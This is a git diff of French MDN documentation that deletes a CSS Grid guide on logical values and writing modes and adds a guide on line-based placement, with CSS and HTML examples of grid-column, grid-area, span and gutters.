diff --git "a/files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_\303\251criture/index.html" "b/files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_\303\251criture/index.html" deleted file mode 100644 index cbc0501498..0000000000 --- "a/files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_\303\251criture/index.html" +++ /dev/null @@ -1,452 +0,0 @@ ---- -title: 'Les grilles CSS, les valeurs logiques et les modes d''écriture' -slug: >- - Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guides - - Intermédiaire -translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité","Web/CSS/CSS_Grid_Layout")}}

- -

Dans les articles précédents, nous avons évoqué un aspect important de la disposition en grille : la prise en charge des différents modes d'écriture. Dans ce guide, nous nous intéresserons plus particulièrement à cette fonctionnalité ainsi qu'aux autres méthodes modernes de disposition. Cela sera également l'occasion d'en apprendre plus sur les modes d'écritures et la notion de propriété logique/physique.

- -

Les propriétés logiques, les propriétés physiques et les valeurs

- -

CSS possède de nombreux mots-clés qui permettent de positionner physiquement les éléments : left, right, top, bottom… Si on positionne un élément de façon absolue, on utilisera ces mots-clés physiques comme valeurs pour indiquer le décalage de l'élément. Dans le fragment de code suivant, l'élément est décalé de 20 pixels depuis le haut du conteneur et de 30 pixels depuis le bord gauche du conteneur.

- -
.container {
-  position: relative;
-}
-.item {
-  position: absolute;
-  top: 20px;
-  left: 30px;
-}
-
- -
<div class="container">
-  <div class="item">Item</div>
-</div>
-
- -

On rencontre également ces mots-clés physiques avec text-align: right afin d'aligner le texte à droite. Il existe aussi des propriétés physiques en CSS. On ajoute des marges, du remplissage, des bordures grâces à cs propriétés physiques comme {{cssxref("margin-left")}}, {{cssxref("padding-left")}}, etc.

- -

On qualifie ces propriétés de physiques car elles concernent l'écran qu'on regarde : la gauche sera toujours la gauche, quelle que soit la direction du texte.

- -

Cela peut devenir un problème lorsqu'on développe un site qui doit fonctionner avec plusieurs langues dont certaines sont écrites de droite à gauche et non de gauche à droite. Les navigateurs savent plutôt bien gérer les différentes directions d'écriture. Dans l'exemple qui suit, on a deux paragraphes. Pour le deuxième, aucune propriété {{cssxref("text-align")}} n'est utilisée, alors que pour le second, on utilise text-align avec left et on ajoute dir="rtl" sur l'élément HTML ce qui a pour effet de changer la direction d'écriture. On peut voir que, dans le second paragraphe, la direction change et le texte est écrit de droite à gauche. Dans le premier cependant, avec text-align value: left, l'alignement reste à gauche.

- -

A simple example of text direction.

- -

Cela illustre un problème fréquent avec les propriétés et valeurs physiques en CSS : elles empêchent le navigateur de passer correctement d'un mode d'écriture à l'autre.

- -

Les propriétés et valeurs logiques

- -

Les propriétés et les valeurs logiques n'émettent pas d'hypothèse quant à la direction du texte. C'est pour cette raison, qu'avec les grilles CSS, on utilise le mot-clé start lorsqu'on souhaite aligner quelque chose au début du conteneur. Quand on travaille en français ou en anglais, start correspondra à la gauche mais ce n'est pas nécessairement toujours le cas, start ne correspond pas à une position physique.

- -

L'axe de bloc et l'axe en ligne

- -

Lorsqu'on commence à travailler avec les propriétés logiques plutôt qu'avec les propriétés physiques, on cesse de voir le monde comme un espace qui va de gauche à droite et de haut en bas. Il faut de nouveaux axes de références : l'axe de bloc (block axis en anglais) et l'axe en ligne (inline axis). Le premier est l'axe orthogonal au sens d'écriture et le second est l'axe dans lequel on écrit. Ces axes logiques sont très utiles et on comprend mieux leurs rôles sur la grille.

- -

An image showing the default direction of the Block and Inline Axes.

- -

Les modes d'écriture CSS

- -

Nous allons ici aborder une autre spécification que nous allons utiliser dans nos exemples : la spécification CSS sur les modes d'écriture (CSS Writing Modes). Cette spécification régit comment les différents modes d'écriture peuvent être utilisés en CSS, pas seulement pour prendre en charge différentes langues mais aussi pour créer des effets artistiques. Nous allons utiliser la propriété {{cssxref("writing-mode")}} afin de modifier le mode d'écriture appliqué à la grille pour observer comment fonctionnent les valeurs logiques. Si vous souhaitez approfondir ces notions autour des modes d'écriture, vous pouvez consulter l'article CSS Writing Modes (en anglais) écrit par Jen Simmons.

- -

writing-mode

- -

Les modes d'écriture ne se limitent pas à l'écriture de droite à gauche ou de gauche à droite, la propriété writing-mode nous permet d'afficher du texte dans plusieurs directions. La propriété {{cssxref("writing-mode")}} peut prendre les valeurs suivantes :

- -
    -
  • horizontal-tb
    • -
  • vertical-rl
    • -
  • vertical-lr
    • -
  • sideways-rl
    • -
  • sideways-lr
    • -
- -

Sur le Web, c'est la valeur horizontal-tb qui est la valeur par défaut pour le texte. C'est dans cette direction que vous lisez cet article. Les autres valeurs changeront la façon dont le texte est écrit sur le document et correspondent aux modes d'écriture utilisés dans d'autres langues. Dans l'exemple qui suit, on a deux paragraphes, le premier utilise la valeur par défaut horizontal-tb et le second utilise la valeur vertical-rl. Dans ce deuxième mode, le texte est toujours écrit de gauche à droite mais la direction du texte est verticale. Dans ce deuxième paragraphe, l'axe en ligne (inline) est donc l'axe vertical.

- -
- - -
<div class="wrapper">
-  <p style="writing-mode: horizontal-tb">Mon mode d'écriture est celui par défaut <code>horizontal-tb</code></p>
-  <p style="writing-mode: vertical-rl">Moi je suis écrit avec <code>vertical-rl</code></p>
-</div>
-
- -

{{EmbedLiveSample('writing_1', '500', '420')}}

-
- -

La gestion des modes d'écriture avec une grille

- -

Si on reprend l'exemple avec la grille, on comprend mieux l'effet du changement du mode d'écriture qui change les axes logiques.

- -

Dans le prochain exemple, la grille possède trois colonnes et deux lignes. Cela signifie qu'il y a trois pistes qui traversent l'axe de bloc. Avec le mode d'écriture par défaut, la grille commence par placer les objets en haut à gauche  en remplissant les trois cellules sur la première ligne avant de passer à la suivante, en formant une nouvelle ligne, etc.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-  <div class="item5">Objet 5</div>
-</div>
-
- -

{{EmbedLiveSample('writing_2', '500', '330')}}

-
- -

Si on ajoute writing-mode: vertical-lr au conteneur de la grille, on peut voir que les axes logiques s'appliquent désormais dans une autre direction. L'axe de bloc (aussi appelé l'axe des colonnes pour la grille) s'étend maintenant de gauche à droite et l'axe en ligne court verticalement.

- -
- - -
.wrapper {
-  writing-mode: vertical-lr;
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-  <div class="item5">Objet 5</div>
-</div>
-
- -

{{EmbedLiveSample('writing_3', '500', '330')}}

-
- -

A image showing the direction of Block and Inline when writing-mode is vertical-lr

- -

L'utilisation de valeurs logiques pour l'alignement

- -

Dans les exemples précédents, on a vu comment les axes de bloc et en ligne pouvaient changer de direction, nous allons voir maintenant comment tirer partir des valeurs logiques des propriétés d'alignement.

- -

Dans le prochain exemple, on aligne des objets dans une grille pour laquelle writing-mode: vertical-lr. Les valeurs start et end fonctionnent de la même façon qu'avec le mode d'écriture par défaut mais, parce qu'elles sont logiques, on voit que la grille est bien renversée.

- -
- - -
.wrapper {
-  writing-mode: vertical-lr;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(3, 100px);
-  grid-gap: 10px;
-}
-
-.item1 {
-  grid-column: 1 / 4;
-  align-self: start;
-}
-
-.item2 {
-  grid-column: 1 / 3;
-  grid-row: 2 / 4;
-  align-self: start;
-}
-
-.item3 {
-  grid-column: 3;
-  grid-row: 2 / 4;
-  align-self: end;
-  justify-self: end;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-</div>
-
- -

{{EmbedLiveSample('writing_4', '500', '330')}}

-
- -

Si vous souhaitez voir l'effet obtenu avec une écriture verticale de haut en bas et de droite à gauche, il suffit de passer de vertical-lr à vertical-rl pour changer de mode d'écriture.

- -

Le placement automatique et les modes d'écriture

- -

On a vu dans l'exemple précédent que lorsqu'on changeait de mode d'écriture, cela changeait également la direction selon laquelle les éléments étaient placés sur la grille. Par défaut, les éléments sont placés en progressant sur l'axe en ligne, jusqu'à la fin de la ligne, une nouvelle ligne est ensuite créée si besoin mais cette ligne ne progresse pas nécessairement de gauche à droite.

- -

Le placement sur les lignes et les modes d'écriture

- -

Il faut garder à l'esprit que lorsqu'on place des objets sur les lignes, la ligne 1 sera toujours la ligne de départ, quel que soit le mode d'écriture et la ligne -1 sera toujours la ligne de fin.

- -

Dans l'exemple suivant, on a une grille avec la direction ltr et on positionne trois objets en utilisant le placement sur les lignes.

- -
    -
  • L'objet 1 commence à la colonne 1 et occupe une piste
    • -
  • L'objet 2 commence à la colonne -1 et occupe -3 pistes
    • -
  • L'objet 3 commence à la colonne 1 et s'étend jusqu'à la troisième colonne.
    • -
- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-.item1 {
-  grid-column: 1 ;
-}
-.item2 {
-  grid-column: -1 / -3;
-}
-.item3 {
-  grid-column: 1 / 3;
-  grid-row: 2;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-</div>
-
- -

{{EmbedLiveSample('writing_5', '500', '330')}}

-
- -

Si on ajoute alors la propriété {{cssxref("direction")}} avec la valeur rtl pour le conteneur de la grille, la colonne 1 sera la plus à droite et la colonne 1 sera à gauche.

- -
- - -
.wrapper {
-  direction: rtl;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-.item1 {
-  grid-column: 1 ;
-}
-.item2 {
-  grid-column: -1 / -3;
-}
-.item3 {
-  grid-column: 1 / 3;
-  grid-row: 2;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-</div>
-
- -

{{EmbedLiveSample('writing_6', '500', '330')}}

-
- -

On voit ici que si on change la direction du texte pour la page ou pour une partie de la page : la disposition change selon lees numéros de lignes. Si on ne veut pas que les lignes bougent, on pourra utiliser des lignes nommées pour éviter cet effet.

- -

L'étrange ordre des valeurs pour grid-area

- -

La propriété {{cssxref("grid-area")}} permet d'indiquer les quatre lignes qui définissent une zone. Lorsqu'on apprend à utiliser cette propriété, on se surprend à voir que les quatre valeurs ne suivent pas le même ordre que celui utilisé par les propriétés raccourcies pour les marges (pour celles-ci, les valeurs suivent le sens horaire : haut, droit, bas, gauche).

- -

Pour les valeurs de grid-area, l'ordre est le suivant :

- -
    -
  • grid-row-start
    • -
  • grid-column-start
    • -
  • grid-row-end
    • -
  • grid-column-end
    • -
- -

Si on transpose ces valeurs à un système d'écriture de gauche à droite, cela correspond aux valeurs physiques suivantes :

- -
    -
  • top
    • -
  • left
    • -
  • bottom
    • -
  • right
    • -
- -

Ce qui correspond… au sens anti-horaire ! L'ordre est l'inverse de celui utilisé pour les marges et le remplissage. Pour comprendre, mieux vaut voir la propriété grid-area comme une propriété logique qui fonctionne selon les axes de bloc et en ligne : on commence donc avec les deux lignes de départ puis les deux lignes d'arrivée. Cet ordre est plus « logique » !

- -

Utiliser des modes d'écriture hybrides et les grilles CSS

- -

Les modes d'écritures permettent d'afficher les documents en respectant les règles d'affichage de la langue utilisé. On peut également les utiliser afin de créer des effets stylistiques. Dans l'exemple ci-après, on a une grille avec du texte et des liens qui seront affichés verticalement, à côté du texte.

- -
-
.wrapper {
-  display: grid;
-  grid-gap: 20px;
-  grid-template-columns: 1fr auto;
-  font: 1em Helvetica, Arial, sans-serif;
-}
-.wrapper nav {
-  writing-mode: vertical-lr;
-}
-.wrapper ul {
-  list-style: none;
-  margin: 0;
-  padding: 1em;
-  display: flex;
-  justify-content: space-between;
-}
-.wrapper a {
-  text-decoration: none;
-}
-
- -
<div class="wrapper">
-  <div class="content">
-    <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
-    <p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
-  </div>
-  <nav>
-    <ul>
-      <li><a href="">Lien 1</a></li>
-      <li><a href="">Lien 2</a></li>
-      <li><a href="">Lien 3</a></li>
-    </ul>
-  </nav>
-</div>
-
- -

{{EmbedLiveSample('writing_7', '500', '330')}}

-
- -

Les valeurs physiques et les grilles CSS

- -

On rencontre souvent les propriétés physiques lorsqu'on construit un site web et, bien que la grille et les propriétés logiques permettent de respecter les modes d'écriture, il existe certains effets qui ne peuvent être obtenus qu'avec des propriétés et des valeurs physiques. Dans le guide sur l'alignement des boîtes et les grilles, nous avons vu comment utiliser les marges automatiques sur les zones d'une grille. Utiliser les marges automatiques pour contraindre le placement d'un élément est une astuce qu'on rencontre aussi avec les boîtes flexibles mais cela couple la disposition avec l'espace physique.

- -

Si on utilise le positionnement absolu dans une zone d'une grille, là encore, on utilisera des décalages physiques pour décaler l'élément au sein de la zone. Dans ces cas, il faut être conscient du couplage qu'on ajoute avec l'espace physique et comprendre qu'il faudra adapter la feuille de style si on veut par exemple passer d'un mode ltr à un mode rtl.

- -

Utiliser les propriétés logiques partout

- -

Les nouvelles méthodes de disposition, comme les grilles, permettent d'employer les valeurs logiques afin de placer les éléments. Cependant, dès qu'on combine ces valeurs avec des propriétés physiques, il faut maintenir ces dernières lorsque le mode d'écriture change.

- -

La spécification sur les propriétés logiques en CSS vise à résoudre ce problème. Nous pourrons peut-être utiliser demain des équivalents logiques pour chacune des propriétés physiques telles que {{cssxref("margin-left")}} et {{cssxref("margin-right")}}. Firefox a déjà implémenté ces propriétés logiques et vous pouvez les y tester. En utilisant les grilles et en manipulant l'axe de bloc et l'axe de ligne, vous saurez également comment fonctionnent ces propriétés logiques à venir.

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html new file mode 100644 index 0000000000..5984342f18 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -0,0 +1,605 @@ +--- +title: Placer les éléments sur les lignes d'une grille CSS +slug: Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guides + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_concepts_de_base", "Web/CSS/CSS_Grid_Layout/D%C3%A9finir_des_zones_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

+ +

Dans l'article sur les concepts de base, nous avons vu comment positionner des éléments en utilisant des numéros de lignes. Nous allons désormais étudier cette fonctionnalité de positionnement plus en détail.

+ +

Commencer par utiliser les lignes numérotées est plutôt logique car toutes les grilles possèdent des lignes numérotées. Ces lignes forment les colonnes et les lignes horizontales de la grille, elles sont numérotées à partir de 1. On notera aussi que la numérotation des lignes varie selon le mode d'écriture du document. Dans un document écrit de gauche à droite comme le français, la ligne numéro 1 est située à l'extrêmité gauche de la grille. Si l'écriture va de droite à gauche, la ligne numéro 1 sera celle qui est située le plus à droite. Nous explorerons ces notions sur les modes d'écriture dans un prochain guide.

+ +

Un exemple simple

+ +

Dans cet exemple simple, on a une grille avec trois pistes pour les colonnes et trois pistes pour les lignes, on a donc 4 lignes pour chaque dimension.

+ +

Dans le conteneur, on a quatre éléments fils. Si aucune autre règle de placement n'est indiquée, ces éléments seront placés automatiquement et la grille remplira les quatre premières cellules. Si vous utilisez l'outil de mise en évidence des grilles de Firefox, vous pouvez voir les colonnes et les lignes horizontales formées par la grille.

+ +

Our Grid highlighted in DevTools

+ + + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+}
+
+ +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +

{{EmbedLiveSample('Un_exemple_simple', '300', '330')}}

+ +

Positionner les éléments d'une grille grâce au numéro de ligne

+ +

On peut placer les éléments d'une grille en utilisant les numéros de lignes qui définissent la zone allouée à l'élément. Si on souhaite que le premier élément commence tout à gauche et occupe une colonne, qu'il commence sur la première ligne et s'étale sur quatre lignes, on pourra utiliser les règles suivantes :

+ +
+
.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+
+ +

Lorsqu'on positionne des objets sur la grille, les autres continueront d'être placés selon les règles de placement automatique. Nous verrons ces règles dans un prochain guide mais grâce à cet exemple, on peut voir que les cellules vides sont remplies au fur et à mesure par les objets qui ne sont pas placés explicitement.

+ +

On peut placer chacun des éléments individuellement et on peut également choisir de laisser certaines cellules vides. Un des avantages de la grille CSS est qu'on peut créer des espaces sans avoir à utiliser des marges ou d'autres méthodes de contournement.

+ + + +
<div class="wrapper">
+   <div class="box1">Un</div>
+   <div class="box2">Deux</div>
+   <div class="box3">Trois</div>
+   <div class="box4">Quatre</div>
+</div>
+
+ +
.box2 {
+  grid-column-start: 3;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 3;
+  grid-row-start: 1;
+  grid-row-end: 2;
+}
+.box4 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 3;
+  grid-row-end: 4;
+}
+
+ +

{{EmbedLiveSample('Line_Number', '300', '330')}}

+
+ +
+

Les propriétés raccourcies grid-column et grid-row

+ +

On a écrit beaucoup de règles pour positionner chaque élément. Heureusement, il existe des propriétés raccourcies qui permettent d'avoir une syntaxe plus concise. Les propriétés {{cssxref("grid-column-start")}} et {{cssxref("grid-column-end")}} peuvent être combinées pour former la propriété raccourcie {{cssxref("grid-column")}} et de la même façon, {{cssxref("grid-row-start")}} et  {{cssxref("grid-row-end")}} peuvent être synthétisées avec {{cssxref("grid-row")}}.

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1 / 2;
+  grid-row: 1 / 4;
+}
+.box2 {
+  grid-column: 3 / 4;
+  grid-row: 1 / 3;
+}
+.box3 {
+  grid-column: 2 / 3;
+  grid-row: 1 /  2;
+}
+.box4 {
+  grid-column: 2 / 4;
+  grid-row: 3 / 4;
+}
+
+ +

{{EmbedLiveSample('Grid_Shorthands', '300', '330')}}

+
+ +

La taille par défaut

+ +

Dans les exemples précédents, on a défini chaque ligne et colonne de fin pour chaque élément. Mais si en pratique, on souhaite qu'un élément n'occupe qu'une seule piste, on peut omettre grid-column-end ou grid-row-end. Par défaut, les éléments occupent une seule piste. Notre exemple initial, avec les propriétés détaillées peut donc être réécrit de cette façon :

+ +
+ + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-column-start: 1;
+  grid-row-start: 1;
+  grid-row-end: 4;
+}
+.box2 {
+  grid-column-start: 3;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-row-start: 1;
+}
+.box4 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 3;
+}
+
+ +

{{EmbedLiveSample('End_Lines', '300', '330')}}

+
+ +

Avec les propriétés raccourcies, on obtient le code suivant (sans aucune barre oblique ni seconde valeur pour les éléments qui n'occupent qu'une seule piste).

+ +
+ + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1 ;
+  grid-row: 1 / 4;
+}
+.box2 {
+  grid-column: 3 ;
+  grid-row: 1 / 3;
+}
+.box3 {
+  grid-column: 2 ;
+  grid-row: 1 ;
+}
+.box4 {
+  grid-column: 2 / 4;
+  grid-row: 3 ;
+}
+
+ +

{{EmbedLiveSample('New_Shorthand', '300', '330')}}

+
+ +

La propriété grid-area

+ +

On peut aller plus loin et définir une zone pour chaque élément grâce à une seule propriété : {{cssxref("grid-area")}}. Cette propriété raccourcie permet d'utiliser les valeurs des propriétés suivantes (dans cet ordre) :

+ +
    +
  • grid-row-start
    • +
  • grid-column-start
    • +
  • grid-row-end
    • +
  • grid-column-end
    • +
+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-area: 1 / 1 / 4 / 2;
+}
+.box2 {
+  grid-area: 1 / 3 / 3 / 4;
+}
+.box3 {
+  grid-area: 1 / 2 / 2 / 3;
+}
+.box4 {
+  grid-area: 3 / 2 / 4 / 4;
+}
+
+ +

{{EmbedLiveSample('La_propriété_grid-area', '300', '330')}}

+ +

L'ordre des valeurs utilisé pour grid-area peut sembler un peu étrange quand on connaît celui utilisé par les propriétés raccourcies pour les marges (margin) et le remplissage (padding). Cet ordre s'explique car les grilles CSS fonctionnent avec les différents modes d'écriture et on utilise des propriétés et des valeurs logiques plutôt que des propriétés et des valeurs physiques. Nous aborderons ce point dans un prochain article mais il faut retenir ici que l'ordre des valeurs correspond aux directions logiques suivantes :

+ +
    +
  • block-start
    • +
  • block-end
    • +
  • inline-start
    • +
  • inline-end
    • +
+ +

On travaille ici en anglais ou en français, une langue qui s'écrit de gauche à droite. La ligne physique correspondant à la ligne logique block-start est donc la ligne en haut du conteneur, block-end correspond à la ligne en bas du conteneur, inline-start correspond à la colonne la plus à gauche (le point de départ de l'écriture pour une ligne) et inline-end correspond à la dernière colonne, celle qui est située à l'extrémité droite de la grille.

+ +

Lorsqu'on définit une zone d'une grille grâce à la propriété grid-area, on commence par définir les lignes de « début » : block-start et inline-start puis les lignes de « fin » avec block-end et inline-end. Cela peut paraître étrange quand on est habitué à manipuler des propriétés physiques qui progressent dans le sens horaire : haut, droit, bas, gauche mais cet ordre paraît plus pertinent quand on considère que les sites web peuvent être multi-directionnels selon le mode d'écriture.

+ +

Compter à rebours

+ +

On peut également compter à l'envers, à partir des lignes de fin. Pour un document écrit en français, cela correspond à la colonne la plus à droite et à la ligne la plus basse. Pour faire référence à la dernière ligne, on peut utiliser la valeur -1 et on peut compter à rebours au fur et à mesure de cette façon (ainsi, -2 fait référence à l'avant-dernière ligne). Attention, ici, la dernière ligne correspond à la dernière ligne explicite de la grille, telle qu'elle est définie par grid-template-columns et grid-template-rows. Ce comptage ne prend pas en compte les lignes ou les colonnes qui sont ajoutées implicitement dans la grille.

+ +

Dans le prochain exemple, on renverse la disposition de la grille en travaillant à partir du bas et de la droite.

+ + + +
<div class="wrapper">
+   <div class="box1">Un</div>
+   <div class="box2">Deux</div>
+   <div class="box3">Trois</div>
+   <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-column-start: -1;
+  grid-column-end: -2;
+  grid-row-start: -1;
+  grid-row-end: -4;
+}
+.box2 {
+  grid-column-start: -3;
+  grid-column-end: -4;
+  grid-row-start: -1;
+  grid-row-end: -3;
+}
+.box3 {
+  grid-column-start: -2;
+  grid-column-end: -3;
+  grid-row-start: -1;
+  grid-row-end: -2;
+}
+.box4 {
+  grid-column-start: -2;
+  grid-column-end: -4;
+  grid-row-start: -3;
+  grid-row-end: -4;
+}
+
+ +

{{EmbedLiveSample('Compter_à_rebours', '300', '330')}}

+ +

Étirer un élément sur la grille

+ +

Étant donné qu'on peut utiliser les numéros de lignes pour la première et la dernière, on peut facilement étirer un élément pour que celui-ci occupe toute la largeur et/ou toute la hauteur de la grille avec :

+ +
.item {
+  grid-column: 1 / -1;
+}
+
+ +

Les gouttières

+ +

La spécification pour les grilles CSS permet également d'ajouter des espaces (« gouttières ») entre les colonnes et entre les lignes grâce aux propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}}. Celles-ci permettent de définir un espace, de la même façon que la propriété {{cssxref("column-gap")}} permet d'obtenir un espace pour un mode de disposition avec plusieurs colonnes.

+ +
+

Note : Les anciens navigateurs utilisent {{cssxref("column-gap")}}, {{cssxref("row-gap")}}, {{cssxref("gap")}} avec le préfixe grid- soit : {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} et {{cssxref("grid-gap")}}.

+ +

Les navigateurs actuels retirent progressivement ce préfixe (la version préfixée sera maintenue sous forme d'alias). À l'heure actuelle, certains navigateurs ne prennent pas encore la version sans préfixe et c'est pourquoi certains exemples de ce guide continuent d'utiliser les versions préfixées avec grid-.

+
+ +

Les gouttières apparaissent uniquement entre les pistes de la grille, elles n'ajoutent pas d'espace en haut, en bas, à gauche ou à droite du conteneur. Voyons comment ajouter des espaces sur l'exemple précédent grâce à ces propriétés :

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1 ;
+  grid-row: 1 / 4;
+}
+.box2 {
+  grid-column: 3 ;
+  grid-row: 1 / 3;
+}
+.box3 {
+  grid-column: 2 ;
+  grid-row: 1 ;
+}
+.box4 {
+  grid-column: 2 / 4;
+  grid-row: 3 ;
+}
+.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-column-gap: 20px;
+  grid-row-gap: 1em;
+}
+
+ +

{{EmbedLiveSample('Les_gouttières', '300', '350') }}

+ +

Les propriétés raccourcies pour les gouttières

+ +

Les deux propriétés que nous venons de voir peuvent être synthétisées grâce à la propriété raccourcie {{cssxref("grid-gap")}}. Si on fournit une seule valeur, celle-ci s'appliquera pour les espaces entre les colonnes et entre les lignes. Avec deux valeurs, la première sera utilisée pour grid-row-gap et la seconde pour grid-column-gap.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 1em 20px;
+}
+
+ +

Par rapport au positionnement sur les lignes, les gouttières agissent comme si la ligne avait gagné en largeur ou en hauteur. Tout ce qui commence sur une ligne commencera après cet espace et on ne peut placer aucun élément dans cette gouttière. Aussi, si on veut qu'une gouttière agisse comme une piste classique dans laquelle on peut placer des objets, il suffira de définir une nouvelle piste plutôt qu'une gouttière.

+ +

Utiliser le mot-clé span

+ +

On a vu comment indiquer la ligne de début et la ligne de fin avec des numéros. Il est aussi possible de définir la taille d'un élément en indiquant le numéro de la ligne de départ et le nombre de pistes sur lequel s'étale l'élément.

+ + + +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +
.box1 {
+  grid-column: 1;
+  grid-row: 1 / span 3;
+}
+.box2 {
+  grid-column: 3;
+  grid-row: 1 / span 2;
+}
+.box3 {
+  grid-column: 2;
+  grid-row: 1;
+}
+.box4 {
+  grid-column: 2 / span 2;
+  grid-row: 3;
+}
+
+ +

{{EmbedLiveSample('Utiliser_le_mot-clé_span', '300', '330')}}

+ +

Le mot-clé span peut également être utilisé dans les valeurs des propriétés grid-row-start/grid-row-end et grid-column-start/grid-column-end. Les deux fragments de code qui suivent créeront la même zone. Dans le premier, on indique la ligne de début puis la ligne de fin en indiquant que l'élément occupe trois lignes. La zone commencera donc sur la première ligne et occupera 3 lignes, jusqu'à la ligne 4.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-row-start: 1;
+  grid-row-end: span 3;
+}
+
+ +

Dans le deuxième exemple, on indique la ligne de fin et le nombre de lignes occupées par l'élément avec span 3. Cela signifie que l'élément partira de la ligne 4 et occupera 3 lignes jusqu'à la ligne 1.

+ +
.box1 {
+  grid-column-start: 1;
+  grid-row-start: span 3;
+  grid-row-end: 4;
+}
+
+ +

